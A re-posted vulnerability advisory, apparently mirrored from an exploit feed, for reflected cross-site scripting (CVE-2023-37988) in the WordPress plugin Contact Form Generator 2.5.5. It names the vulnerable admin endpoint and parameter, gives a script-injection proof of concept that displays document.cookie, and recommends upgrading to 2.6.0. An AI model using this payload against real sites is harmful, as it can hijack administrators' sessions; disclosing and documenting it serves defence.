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WordPress Contact Form Generator 2.5.5 Cross Site Scripting

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023100010

Below is a copy:

WordPress Contact Form Generator 2.5.5 Cross Site Scripting
# Exploit Title: WP Plugins Contact Form Generator 2.5.5 - Reflected Cross-Site Scripting
# Date: 03-10-2023
# Exploit Author: Arvandy
# Software Link: https://wordpress.org/plugins/contact-form-generator/
# Vendor Homepage: https://www.creative-solutions.net/
# Version: 2.5.5 
# Tested on: Windows, Linux
# CVE: CVE-2023-37988

# Product Description
Contact Form Generator is a powerful contact form builder for WordPress! It is structured for creating Contact Forms, Application Forms, Reservation Forms, Survey Forms, Contact Data Pages and much more. You will get ready-to-use forms just after installation. Ref: https://wordpress.org/plugins/contact-form-generator/

# Vulnerability overview:
The Wordpress plugins Contact Form Generator (CFG) <= 2.5.5 is vulnerable to reflected cross-site scripting via the id parameter in the Edit Fields form. This vulnerability could allow an unauthenticated malicious actor to inject malicious scripts against high privilege users.

# Proof of Concept:
Affected Endpoint: /wp-admin/admin.php?page=cfg_fields&act=edit&id=
Affected Parameters: id
XSS Payload: "><script>alert(document.cookie)</script>x
http://example.com/wp-admin/admin.php?page=cfg_fields&act=edit&id=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ex

# Recommendation
Upgrade to version 2.6.0

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